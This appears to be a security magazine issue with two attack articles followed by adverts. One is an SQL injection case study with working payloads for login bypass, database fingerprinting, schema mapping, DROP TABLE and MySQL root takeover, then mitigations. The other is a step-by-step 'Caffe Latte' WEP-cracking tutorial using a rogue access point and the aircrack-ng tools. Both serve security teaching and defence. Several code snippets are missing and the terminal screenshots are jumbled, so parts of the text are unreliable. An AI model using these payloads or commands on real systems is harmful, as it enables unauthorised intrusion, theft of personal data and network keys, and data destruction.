Blind attacks may be verified with the inclusion of always true or always false statements, such as appending "1=1" or "0=1" to a SQL query, in the hopes that the non-descriptive error message will be activated or deactivated depending on the Boolean choice. For example, if we had a legitimate user name and password ('jdoe' and 'pw123'), we may be able to blindly test if a SQL database is used. After a successful controlled log on and failure, we would attempt to log in again with the strings jdoe' AND `0'='1 and jdoe' AND `1'='1 to verify that the former failed, and the later granted access, when it clearly should not have. Inserting these strings could look like the following:

The first and third statements would be successful, while the second would fail. We would have then verified that a blind SQL injection was possible in these fields.

However, as black-box adversaries, we did not start with legitimate credentials, and so we took a different approach. Rather than evaluate whether an injection was successful based on pass or fail results, we injected a SQL statement that would take a noticeably long time to process. If the log on was rejected immediately, we wouldn't have learned much, but if our log on was rejected after a noticeable delay, it would be safe to assume our injection was successful. We set the username field to the following:



The injected command instructed the SQL database to use its pseudo-random number generator one million times to password-encrypt the phrase "blah" with the pass-phrase "nothing". To our liking, this significantly delayed the return of the failed log on page. We now knew that SQL injection was possible through the username field.

Bypassing the Log on

Even though we had discovered at this point that SQL injection was possible, we had very little access to what was returned from our injected SQL queries. Until we had additional access and additional inputs to manipulate, we may not have been able to fully compromise the database, and so our attack plan was updated to focus on leveraging the SQL injection vulnerability to bypass the application's log on page. The means by which a web application developer could have implemented the log on process to the system are potentially infinite, but in practice, the number of reasonable methods is an assessable value. It was possible that the SQL query we could inject could entirely subvert the log on process, regardless of how it is structured. Two of the following methods were pulled from unnamed online tutorials, and the third was the implementation used by the site we were investigating. All are typical, and easily subverted.

SELECT passwd FROM students WHERE uname='<input>'; if results.passwd = '<input>' { grant access } else {error }

Attacks on the first two log on tests above can be launched by setting the password input field to garbage' OR 1'='1 as in shown in the SQL statement it creates:

These attempts failed during our evaluation, but we were successful in the following attack to gain access. By inputting the username field as junk' OR passwd='password we created the following SQL statement:

SELECT passwd FROM students WHERE uname='junk' OR
 passwd='password';

This attack tells the database to return *any* user who has the poorly chosen password "password." When the subsequent check is made to see if our password field matches, we are granted access as whichever user happened to be returned first. We now had access to a user's account in the system, availing us additional inputs and therefore additional SQL injection possibilities.

Fingerprinting the SQL server

With our new found access, we were shown the personal information for a user of the system, including name, address, phone, email and social security number (Hooah!). For the remainder of our assessment, we really didn't require much more than this page and the corresponding "update address" page. The following was the update address statement:

```
UPDATE studnets SET address='<input>', zip='<input>', state='<input>' WHERE id=id;
```

By setting the zip code field to 1234, zip='55555" we saw that the "55555" value was inserted in to the database in the zip code field, rather than resulting in an error. The query string was susceptible to SQL injection.

Our attack plan included tests to fingerprint the SQL server, that is, to uncover as much information about the database, host and running services as possible. This information allows an attacker to both eliminate tests and attacks that are not useful against a particular deployment, and to focus on attacks that would probably work.

Many versions of SQL have syntax for directly querying database and system information. For instance, the VERSION() command in MySQL and PostgreSQL, and the SERVERPROPERTY('productversion') command for Microsoft SQL Server. Each of these commands may return a descriptive string that immediately fingerprints the server.

Even when these version commands are not accessible (perhaps the injection results are blind), it may still be possible to fingerprint a server. Depending on the server version, certain functions and syntactical conventions may or may not be permitted as part of a statement. These subtle differences could be enumerated in an injectable blind field to see what is and is not allowed. The version of SQL that supports the successful attacks and rejects the unsuccessful ones is then fingerprinted.

We were able to identify our victim server's version and host system through two different methods. First, recall through our earlier attack that we were able to get the credentials for an account with the password, "password." Going back to the log on screen, we entered the correct user name "jdoe" and the following sequence of passwords, testing for correctness:

```
1. pass' + 'word
2. junk' OR passwd=concat('pass','word') OR '0'='1
3. pass' || 'word
```

Through attempts 1 and 2 we were successfully able to log in. This led us to strongly believe that our server was MySQL, and strongly that it was not an Oracle or PostgreSQL database.

A second attempt to fingerprint the database server left no guessing. We injected the following in to the zip code field when updating our victim account's address:

```
12345', zip=VERSION(), state='PA
```

Note that the additional state='PA was required to cancel out the single quote added by the dynamic query after concatenating the zip code string.

To our delight, the value of the zip code field on our account information page then displayed 5.1.41-3ubuntu12.10 a version identifying this system as MySQL version 5.1 running on an Ubuntu host.

Concatenating or Embedding Statements

Launching a SQL injection attack becomes much easier when concatenated or embedded statements are possible. It allows us to construct entirely standalone statements, and we no longer have to rely on the formatting of the surrounding dynamically generated SQL to assist us.

A concatenated statement is formed by separating two valid statements by a semicolon character. For example, the following SQL query (technically, two queries) performs an UPDATE, followed by a SELECT.

```
UPDATE users SET first='<input>', last='<input>' WHERE
id=1234; SELECT * FROM users;
```

If concatenated statements are permitted by the server, and the above $_{\tt UPDATE}$ statement was susceptible to injection, we could insert an entire statement by setting the first $_{\tt input>}$ field to

fake' WHERE id=1234; DROP TABLE users;

resulting in the following sequence of commands:

UPDATE users SET first='fake' WHERE id=1234; DROP TABLE users; ', last='junk' WHERE id=1234; SELECT * FROM users;

The first command does a pointless set of the name field for the user with id "1234," and the second command deletes the table named "users." The third command is garbage, and will likely cause an error, but we don't care at this point because our attack is complete. Embedded statements are also very powerful tools for launching SQL injection attacks. An embedded statement is a statement nested within another statement, such that the result of the inner statement is used as input to the outer statement. This is demonstrated in the following example:

This statement does just what it sounds like when reading through it. First, select the name of the "pitcher" from the table "roster," then select the id of the user with that same name.

If embedded statements are permitted by the server, and we have a dynamic query where we can insert our own injected code, such as with the above vulnerable UPDATE statement, we could inject an entire statement by setting the first <input> field to:

resulting in the following full command:

UPDATE users SET first='junk', first=(SELECT passwd FROM users WHERE id=3333), last='', last='fake' WHERE id=1234;

The above example attack will set the name field of our account to the password field of another account.

Knowing that the server in our assessment was MySQL version 5.1, we knew that embedded statements might be possible. By setting the zip code field to an additional SELECT statement that returned a scalar value, we saw that this was indeed possible. Consider the following input to the zip code field when updating the student's information,

`, zip=(SELECT id FROM students WHERE name='jdoe'
LIMIT 1), state='PA

The result is that our zip code is not the "12345" that we first specified, but the second assignment of the value returned by the embedded SQL statement, which was our victim account's id field. We were now assured that we would be able to query the database in nearly any fashion we chose.

Mapping And Harvesting The Database

A database can be thought of as a series of tables, each with a series of columns, each with some set of attributes. As one might suspect, this information needs to be stored somewhere. What better place than the database itself? Lucky for most SQL injection practitioners, many database features, settings, table names and column

names can be queried and listed through the same database connection that we pull data. Each database server provides its own mechanisms for querying this information, and we won't enumerate all the possibilities here, but it suffices to show through the following example attacks that a database can be mapped given even a very limited portal to the information.

We leveraged our previously demonstrated ability to embed SELECT statements within the UPDATE statements to query the underlying database for its table and field names. Similar to the above attack, we injected the following in to our zip code field

```
`, zip=(SELECT table_name FROM information_schema.tables
            LIMIT 1,1), state='PA
```

The final SQL statement set our zip code field to the name of the first table in the database's list of tables, CHARACTER_SETS. Other table names can be retrieved by simply changing the value of the LIMIT condition. The following embedded statement,

SELECT table name FROM information schema.tables LIMIT 35,1

obtained the result "students" as the 35th table in the database, and the statement,

SELECT column_name FROM information_schema.columns WHERE
 table name= `students', LIMIT 2,1

obtained the result pwd, the second column in the students table. In a likewise manner, and in an automated fashion, we were able to deduce and map the remaining tables within the database.

Harvesting the database was now possible through the very same methods. Knowing all required table and column names, we could have easily automated the process of pulling all data from the database through a single output.

Compromising the Host

As mentioned at the onset of this article, the third design flaw we set out demonstrate in our assessment was failure to adhere to the Principle of Least Privilege. Our target machine, running MySQL version 5.1 on an Ubuntu host, was apparently running the database service with elevated permissions. Furthermore, the database user www was allowed administrative access to the MySQL database. The combination of these gave us control over much of the system, as we will now demonstrate.

First, with administrative access to the database itself, we were able read the hashed, root password from the table, <code>mysql.user</code> and then replace it with our own password using the following injected and concatenated commands,

Later, to cover our tracks we could reset the root password to the hashed value we copied out of the database. Alternatively, we could have added a new user of our own.

We then changed the domain access privileges for the user root to allow connections from anywhere, rather than only from localhost, with the following statement:

UPDATE mysql.user SET host='%' WHERE user='root';

Mitigations

One should always keep in mind basic security practices when developing any application. Be it a SQL server, web server, or anything else, protect your network, protect your passwords, credentials and other sensitive data, and goodness sake back up your systems. Though these security practices are outside the scope of this article, it is important to always reiterate them, as one can plainly see that each of these has played a part in our investigation. Beyond preventing SQL injection vulnerabilities, the system we tested should have hashed, or stored passwords and other sensitive information in some encrypted form, a firewall should have been in place to disallow MySQL access to the server from a remote site, web access should have been restricted to SSL, and a regular back up policy should have been in place in case of malicious attack or accidental failure. Each of these simple security procedures would have closed the door on a wide attack surface, requiring the adversary to dig much deeper.

Non-Descriptive Messages

When it comes to SQL injection vulnerabilities, a few general security best practices stand out as crucial best practices. One of these is to avoid descriptive error messages. With SQL database connections in particular, descriptive error messages can help guide an attacker as they leak information about the back-end database system, the structure of the tables, and other critical items. Websites should portray none but the most benign error messages, so as to maintain a positive user experience, while not giving an attacker an instruction manual.

Input Sanitization

Another security best practice critical to SQL injection vulnerabilities is input sanitization. Controlling user input is paramount, as this is precisely were an attack will originate. Special characters that could be used to manipulate the system should be rejected, discarded, or escaped, so that they become harmless. Regarding SQL injection, the single and double quote characters are hugely problematic if not sanitized properly. Other languages regard brackets, braces, parenthesis, semicolons, etc, as special characters, and all non-essential characters should be scrubbed from any input. MySQL offers an escape option through the function <code>mysql_real_escape_string()</code>, which can be used to sanitize input when building a dynamic query string.

Prepared Statements

Many SQL systems allow parameterized statements, a.k.a "prepared" statements, to enable queries to be executed more efficiently. A prepared statement resembles to a function declaration, taking user input as arguments, which are passed as parameters to the SQL statement at the time the query is run. The benefit here is that user input is always treated as such, and never concatenated or allowed to be executable query string information. We recommend using prepared statements whenever and wherever possible, above all other methods, in order to best prevent SQL injection attacks.

Stored procedures

Stored procedures are SQL statements created inside the database itself, executed as subroutines. They take user input as parameters, can incorporate filtering or other access control methods, and centralize all SQL statement creation. The centralization of all statements allows for easy first or third-party review, as well as checking that proper sanitization methods are employed. Care should be taken however, as poorly written stored procedures may still be vulnerable to SQL injection attacks.

Principle of Least Privilege

The Principle of Least Privilege commands that a SQL server be run only with the minimum set of permissions needed to perform its function. In our case study, both the MySQL service and the user "www" with access to the database had unnecessary privileges, and we were able to leverage this. The web service access should have been restricted only to the tables it required, and if stored procedures were implemented, should have been restricted only to those specific queries. Furthermore, the MySQL service should only have had access to the directory with the database files.

Security Audits

Formal testing should be an integral part of all web application development. A strong test plan

and methodology is important, and when possible it is recommended to have a third-party security audit performed at each stage of the development process to assure that design and implementation flaws such as the ones outlined in this article don't surface after deployment. An outside resource that specializes security audits may be useful in finding security vulnerabilities that the original developers did not consider, and periodic security audits should be conducted as code is changed during maintenance.

Conclusion

At is base, SQL injection works by inserting into web forms data that was not expected and that extends the SQL query that the back-end of the system is expecting. By carefully crafting the input an attacker may be able to gain information about the database (for later attacks), and get data from, as well as possibly modify data in the database. In the perspective of CIA (Confidentiality, Integrity and Availability) by far the greatest loss seems to be confidentiality, viz. revealing of private, sensitive or secret data. However, integrity is of equal importance and one can envision how availability is affected when data is lost.

We have demonstrated through this case study how SQL injection can be devastating, even through a minimal set of inputs. We strongly urge all developers to follow the best practice guidelines described in this article, and when possible, have their projects audited for security vulnerabilities *before* deployment.

STEPHEN BONO

Stephen Bono is founder and president of Independent Security Evaluators, a security consulting firm that for the last 7 years has secured their clients' systems, networks and products, by assessing them from the perspective of the adversary. ISE has demonstrated weaknesses in a number of publically exposed attacks, notably against the iPhone, car immobilizers, the SpeedPass payment system, and numerous online games. At ISE and in his research, Stephen Bono enjoys approaching problems of network security, cryptography and product evaluation from the standpoint of an adversary, to best vet his own work as well as ISE's clients.

ERSIN DOMANGUE

Ersin Domangue has 15 years of experience in information security. Most of this work has involved cryptography, key management and access control. He has worked with ANSI and FIPS standard bodies in developing various security standards and has been developing security software along the way. Now, working at ISE, Ersin is going over to the "dark" (offensive) side – doing penetration tests, vulnerability development, and security consulting. His work now covers the full spectrum of information security.

ONdemand « Caffe Latte » Attack

For several years now, Wireless Encryption Protocol (WEP) has been known to be a flawed encryption mechanism rather easy to crack. Unfortunately, despite this common knowledge, WEP is still commonly used to "secure" wireless networks.

raditional WEP attacks require a black hat (i.e. malicious hacker, aka "cracker") to be in the wireless access point (AP) vicinity to perform his misdeed. "Caffe Latte" attack makes this assumption null and void since an attacker now simply needs to be near a wireless client, such as smartphone, which has been connected at least once to the AP to crack its WEP key.

The increasing number of wireless clients and the world-wide mobility of their owners considerably increase the attack exposure area of your network.

Introduction

By reading this article, you'll learn:

- How does WEP work;
- How to Perform a "Caffe Latte" attack;
- How to protect your wireless access point from it.

In order to perform the attack, I assume you already have a running Backtrack distribution.

N.B: The author's aim is to share knowledge with readers in order for them to later protect themselves against such an attack. The author is not legally responsible for what the reader could do with said knowledge.

Wired Equivalent Privacy

This part is made for people without knowledge about the WEP protocol.

The WEP protocol has been designed to offer the same security level as a wired network. Then, it must provide authentication, integrity check and encryption mechanisms to transmit data (M). Indeed, WEP relies on a CRC32 checksum and the stream cipher RC4 algorithm.

Integrity check

The integrity check is made by figuring the checksum of CRC32 (M). The obtained checksum, called Integrity Check Value or ICV in WEP, is then concatenated to the data itself.

The whole result (M + H ICV) will be encrypted.

Data encryption

To encrypt data, WEP makes a logical XOR between a pseudorandom 256 bits long stream, called keystream, and $_{\rm M}$ $_{\rm H}$ $_{\rm ICV}$ $_{\rm (M)}$.

Encrypted Data = (M | | ICV) XOR (Keystream)

In fact, the keystream is the result of $_{\rm RC4}$ $_{\rm (IV \ || \ K)},$ where:

- K is the shared key between the Access Point and the client. This shared key is manually configured on both parts and can be :
 - 40 bits, i.e. 5 bytes long;
 - 104 bits, i.e. 13 bytes long.
- IV is a 24 bits long Initialization Vector. RC4 is a stream-cipher algorithm whereas each WEP frame must be encrypted with a unique different key. In this context, the IV, transmitted without protection in the frame header, has been designed to avoid repetition during frame encryption.

So, Encrypted Data = (M || ICV) XOR (RC4 (IV||K))

Authentication

The 802.11 norm offers two authentication mechanisms:



Figure 1. Shared Key Authentication process

- Open System Authentication
- Shared Key Authentication

Since the subject of this article is about "cracking a WEP key" with a Caffe Latte attack, we'll only interest ourselves to the second one.

The Shared Key Authentication (SKA) requires the two wireless equipments (Access Point and the client) to share the same encryption key. The objective of SKA is to check that the client possesses the same key than the AP. If so, the client is authenticated then authorized to access the wireless network.

During this process, the encryption is NOT transmitted. In fact, an algorithm called *WEP Pseudo-Random Number Generation* (PRNG) will produce a stream called challenge. The access point will then send the plaintext challenge to the client and will ask to this latter to encrypt it with the shared key. If the access point managed to decrypt it, it means they both possess the same key. Here is the authentication process: Figure 1.

- The first frame, sent by the client, indicates to the access point which authentication mode the client would like to use (Shared Key Authentication).
 If the access point is not configured to support this
- authentication mode, the process stops.If not, the access point sends the plaintext challenge to the client.
- 3. Then, the client should answer by sending the encrypted challenge with the WEP key it possesses.
- Eventually, the access point decrypts the frame sent by the client and compares the challenge. It they are identical, the access point considered the client as authenticated.

WEP flaws

WEP flaws are essentially the following:

• The RC4 algorithm offers weak keys and the available space for the Initializing Vector is to short (224 possibilities, i.e. less than 17 millions).

- Rainbow tables are available on the Internet, allowing crackers to brute force even more quickly WEP keys. Those dictionaries contain millions of entries, associating a given IV to a key stream.
- The encrypted key used is static.
- WEP key with a length of 40 bits (5 characters) or 104 bits are too short and can be brute forced.

"Caffe Latte" attack

Vivek Ramachandran, the inventor of the "Caffe Latte" attack, noticed that once a client has been connected to an access point using WEP, the shared key is cached and stored by the operating system (at least Windows-type OS and it seems iOS). Moreover, if the client is disconnected from the access point, it will broadcast continuously gratuitous ARP requests, transmitting to every machine in the *Radio Frequency* (RF) field....the SSID of the wireless network he has been connected to.

In this context, here is the macro scenario of a "Caffe Latte" attack:

- · Configuration of the wireless network card;
- In the client's RF field, detection of a client sending encrypted gratuitous ARP request;
- Set up of a rogue access point with the same name than the access point the client has been connected to;
- Association of the client with the rogue AP;
- Get enough WEP encrypted packets;
- · Crack the key

The whole operation will be approximately only 6 minutes long! For this demo, I used a Backtrack 5 distribution.

root@root:~#	airmon-ng	
Interface	Chipset	Driver
wlan0	Atheros AR9280	ath9k - [phy0]

Figure 2. List your wireless network interfaces

Figure 3.	Configure your	wireless interface in monitor mode (aka
wlan0	Atheros AR9280	ath9k - [phy0] (monitor mode enabled on mon0)
Interface	Chipset	Driver
1726 dhcli 2197 dhcli Process with	ent3 PID 1668 (ifup) is	; running on interface wlan0 3) is running on interface wlan0
PID Name		
Found 2 proce If airodump-n	sses that could ca g, aireplay-ng or	
root@root:~#	airmon-ng start wl	.an0

root@root: ~	ot@root: ~ 🗱								
CH 5][Elapsed:	20 s][2012-03-06	13:49							
BSSID	PWR Beacons #E	Data, #	/s CH	MB	ENC CIPHE	R AUTH ESSID			
BSSID	STATION	PWR	Rate	Lost	Packets	Probes			
(not associated) (not associated)	7C:ED:8D:86:F7:33 00:1F:3B:6C:D9:7B	-51 -80	0 - 1 0 - 1	20		Caffe Latte			

Figure 4. Eavesdropping wireless traffic

Configuring the wireless network card

First of all, you need to configure your wireless network card in promiscuous mode. In this mode, your card will eavesdrop everything in the RF field. In a shell:

- Use the airmon-ng command to list all your wireless network interfaces (Figure 2)
 - Here, the wireless network card is wlan0
- Enable the promiscuous mode by using airmon-ng start wlan0 (where wlan0 must be replace by your wireless network card's name) see Figure 3.

You are ready.

Detecting a vulnerable client

Now that your wireless network card is configured, eavesdrop all the WEP wireless traffic into your RF field by using the command <code>airdump-ng -encrypt wep</code> (see Figure 4).

We are searching for a client not associated and sending gratuitous ARP requests to the access point it has been connected to. In the screenshot above, the machine 7C:ED:8D:86:F7:33 is not associated and is sending requests to the network "Caffe Latte". Here is our client!

Setting up a rogue access point

Here is the fun part. In another shell, use the following command to set up a rogue access point with the same name than the one the client wants to connect to (Caffe Latte):

Airbase-ng -N -c 6 -a 00:11:22:33:44:55 -e "Caffe Latte" -W 1 mon0

root@root:	~ 🗱 root@root: ~
	:~# airbase-ng -N -a 00:11:22:33:44:55 -e "Caffe Latte" -W 1 -c 6 mon0
13:51:26	Created tap interface at0
13:51:26	Trying to set MTU on at0 to 1500
13:51:26	Access Point with BSSID 00:11:22:33:44:55 started.
13:51:30	Got 140 bytes keystream: 7C:ED:8D:86:F7:33
13:51:30	SKA from 7C:ED:8D:86:F7:33
13:51:30	SKA from 7C:ED:8D:86:F7:33
13:51:30	SKA from 7C:ED:8D:86:F7:33
13:51:30	SKA from 7C:ED:8D:86:F7:33
13:51:30	SKA from 7C:ED:8D:86:F7:33
13:51:30	SKA from 7C:ED:8D:86:F7:33
13:51:30	SKA from 7C:ED:8D:86:F7:33
13:51:30	SKA from 7C:ED:8D:86:F7:33
13:51:30	SKA from 7C:ED:8D:86:F7:33
13:51:30	SKA from 7C:ED:8D:86:F7:33
13:51:30	Client 7C:ED:8D:86:F7:33 associated (WEP) to ESSID: "Caffe Latte"
13:51:30	Client 7C:ED:8D:86:F7:33 associated (WEP) to ESSID: "Caffe Latte"
13:51:30	Client 7C:ED:8D:86:F7:33 associated (WEP) to ESSID: "Caffe Latte"
13:51:30	Client 7C:ED:8D:86:F7:33 associated (WEP) to ESSID: "Caffe Latte"
13:51:30	Client 7C:ED:8D:86:F7:33 associated (WEP) to ESSID: "Caffe Latte"
13:51:30	Client 7C:ED:8D:86:F7:33 associated (WEP) to ESSID: "Caffe Latte"
13:51:30	Client 7C:ED:8D:86:F7:33 associated (WEP) to ESSID: "Caffe Latte"
13:51:30	Client 7C:ED:8D:86:F7:33 associated (WEP) to ESSID: "Caffe Latte"
13:51:30	Client 7C:ED:8D:86:F7:33 associated (WEP) to ESSID: "Caffe Latte"
13:51:30	Client 7C:ED:8D:86:F7:33 associated (WEP) to ESSID: "Caffe Latte"
13:51:51	Starting Hirte attack against 7C:ED:8D:86:F7:33 at 100 pps.

Figure 5. Association of the client with the rogue AP

00:11:22:33:44:55 is the address MAC of the rogue access point. It can be anything (Figure 5). The client should connect to our rogue access point.

Collecting encrypted data packets

Now the client is connected to your rogue access point, launch immediately the following command to collect all the data packets transmitted between them:

Airodump-ng -c 6 -w capture mon0

The number of Data should increase rapidly.

Cracking the key

Final step! In a third shell, use the following command:

Aircrack-ng -f 4 -m 00:11:22:33:44:55 capture-01.cap

You may have to launch the command several times, waiting for more IV. And voila! For this article, the WEP key was demo9. The key has been found in only four minutes!

How does it work?

A station that receives an ARP request automatically responds with an ARP reply. As we saw, in our attack, the client broadcasts several correctly encrypted gratuitous ARP. Hence, our attack consists in taking one of these G-ARP frames, transforming it into a classical

root@root: ~						3	t roo	root@root: ~					
CH 6][Elapsed:	56 s		2012-03-06	13:52][140	byte	s key	ystrea	n: 00:1	1:22:	33:44:55		
BSSID	PWR	RXQ	Beacons	#Data,	#/s		MB	ENC	CIPHER	AUTH	ESSID		
FF:FF:3F:E8:BC:02								OPN			.62'66v[!.6.66!.		
00:11:22:33:44:55		Θ	1166				54	WEP	WEP	SKA	Caffe Latte		
00:17:33:97:80:64			142				54e	WPA2	CCMP	PSK			
82:58:D0:A8:E5:C1			418		0		54e	WPA2	CCMP	PSK			
82:58:00:A8:E5:C0	-74		423		0		54e	WPA	TKIP	PSK			
82:58:D0:A8:E5:C2			432		0		54e	OPN					
B2:58:DD:A8:E5:C3		10	439				54e	WPA	TKIP	MGT			
00:1D:6A:67:B5:00	-86		202				54e.	WPA2	CCMP	PSK			
BSSID	STA	TION		PWR R	ate	LO	st F	Packet	s Prob	es			
FF:FF:3F:E8:BC:02	FF:	FF:F	F:FF:FF:FF		θ -	1							
00:11:22:33:44:55	70:1	ED:8	D:86:F7:33	-61		1			79 Caf	fe La	tte		

Figure 6. Client-AP traffic eavesdropping

root@r	root	t: ~								×	root@root:	~				% 1	oot@root: ~		
													Aircrack-n	g 1.1 r190	4				
											[00:06	:06] Teste	d 5393 key	s (got 153	22 IVs)				
KB 0 1 2 3 4		0/ 0/ 4/ 0/	1 7 4	64 65 D0 6F	(25088) (20224) (23808)) 90) 12) 02) 11	2(20992) 1(19712) F(22016)	9F(20 36(19 97(20	736) 712) 736)	02(20480) 82(19712) DF(20736)	0A(20224) C9(19712) 9B(20224)	A5(20224) D3(19712) A3(20224)	0B(19968) 29(19456) C9(19968)	A1(19968) 4C(19456) 38(19456)	C0(19968) 54(19200) A1(19456)	36(19712 5E(19200 BB(19450	 3) FF(19968) 2) CA(19712) 3) AB(19200) 3) 1B(19200) 2) 8D(18432) 	8D(19200) CB(19200) 59(19200)	96(19200) F2(19200) AB(19200)
	4 15/ 56 39(19456) 1C(19456) 5D(18944) 72(18944) A5(18944) 3F(18688) 80(18688) A9(18688) 2A(18432) 44(18432) 8D(18432) 99(18432) B3(18432) KEY FOUND! [64:65:6D:6F:39] (ASCII: demo9) Decrypted correctly: 100%																		

Figure 7. Cracked WEP key!

ARP request by flipping a few bits, sending it to the AP and waiting for the encrypted ARP reply. By repeating this operation some several thousand times, will have enough data to crack the key.

If you remember how works WEP, you should tell me something like:

Hey, since the packet is encrypted with the WEP key we do not know, how can you send correct encrypted data to the AP?

Well, we saw that:

Encrypted frame = (M || CRC (M)) XOR (RC4 (IV || K))

Let's say we manage to capture an encrypted frame (a G-ARP frame for example), noted:

Genuine encrypted frame = RC4 (IV || K) XOR X || CRC (X).

If we alter the frame (let's call this modification Y), we obtain:

```
Crafted encrypted frame = RC4 (IV || K) XOR (X+Y || CRC (X+Y)).
```

Since CRC is a linear function, we have:

CRC(X+Y) = CRC(X) + CRC(Y)

Then:

```
Crafted encrypted frame = RC4 (IV||K) XOR X+Y ||

CRC(X) + CRC(Y)).

= RC4 (IV||K) XOR (X ||CRC(X)

+ Y||CRC(Y))

= RC4 (IV||K) XOR ((X||CRC(X))

+ (Y||CRC(Y))

= Genuine encrypted frame +

(Modification ||CRC (Modification))
```

Eventually, you do not even need to know the key to send correct data. You just need to "add" the (Modification ||CRC (Modification)) to the genuine encrypted frame for this frame to be considered as valid for the access point. Now, you should say: "OK, but how can you crack the key since the Initialization Vector has been designed to salt the key, and this for each different frame?"

As I said, the IV is encoded in 24 bits, which makes "only" 17 million different IV. This means that if you send more than 17 million ARP requests, an IV will be used more than once (we call that collision). The more collision there is, the easier it will be to crack the key.

Conclusion

WEP is totally flawed. In order to protect yourself or your enterprise from the "Caffe Latte" attack, here are simple pieces of advice to follow:

- DO NOT USE WEP ANYMORE. WEP has been known unsecured for several years now. Use it only if necessary. If possible, configure your access point to use WPA2.
- Configure your wireless device to avoid reconnecting automatically to preferred networks. Hence, your device won't connect to an AP without your consent.
- Disable your WIFI adapter when not in use.

DAVID JARDIN

David JARDIN has a diploma in "Cryptography and Information Security" and has been working as a Security Consultant for two years. He worked mainly on user security awareness, SSO, antivirus and Android subjects. He is interested in mobile security.

Do You Want to Become a Cyber Security Expert? OR ADVANCE YOUR IT SECURITY CAREER?

- Over Security has one of the largest market shares in IT
- Government & Compliance Regulations are more and more enforced
 A second se
- Gartner Group predicts unprecedented growth and need in Cyber Security
- Skilled Cyber Security Experts are in ever more demand

THE CYBER 51 EXPERT COACHING FORUM

- Individual 1-on-1 Mentoring on Ethical Hacking, Penetration Testing and IT Security
- Networking with other community members and moderators
- Access to a wealth of tools and information not found on public domain
- Permanent Job & Contract offers, Webinars and much more!

YOUR BENEFITS

- Become an Ethical Hacker / Penetration Tester with 1-on-1 mentoring
- Learn at your own pace at a fraction of the cost of regular courses

CYBER 51 COACHING FORUM

CYBER SECURITY FORUM



CONTENT:

- 1. General Topics
- 2. Service Assessment
- 3. Ethical Hacking
- 4. Cyber Threats
- 5. Mitigating Cyber Threats
- 6. Penetration Testing

CYBER 51 INSTRUCTORS



OUR CERTIFICATION LEVELS:

- Certified Ethical Hacker (C|EH)
- Forensic Investigator (C|HFI)
- Certified Security Analyst (ECSA)
- Licensed Penetration Tester (C|LPT)
- Network Security Admin (ENSA)
- ISC Consortium (CISSP)

FEATURES



ADDITIONAL FEATURES:

- 1-on-1 Coaching
- Trainers with Years of Experience
- Wealth of Tools
- Webinars
- Networking with other members
- Contract & Perm. Job Opportunities

WHY CYBER 51?

- Learn whenever you want to
- Dedicated 1-on-1 Coaching
- Information you will not find on public boards
- All Mentors work as Senior Security Consultants
- Frequent updates
- Great Value for money



CONTACT US TODAY

CYBER 51 LIMITED, 176 THE FAIRWAY, SOUTH RUISLIP, HA4 0SH, MIDDLESEX, UNITED KINGDOM EMAIL: INFO@CYBER51.COM WEB: WWW.CYBER51.COM

Attend the second Android Developer Conference



30+ Expert Speakers70+ Technical Classes and Workshops

"A lot of useful, cutting-edge information." —Alfred Mirzagitov, Sr. Software Engineer, Webroot

"AnDevCon had lots of great information, excellent speakers and a coherent program." —Paul Verger, Software Developer, Pico Software

"There were great presentations with very professional lecturers. Go for it!!!" —Eyal Zmora, Software Engineer, NDS Technologies

Google KEYNOTE!

100%

Chet Haase and Romain Guy present:

"Android A

Register Early and SAVE!

Download the complete course listing at www.AnDevCon.com





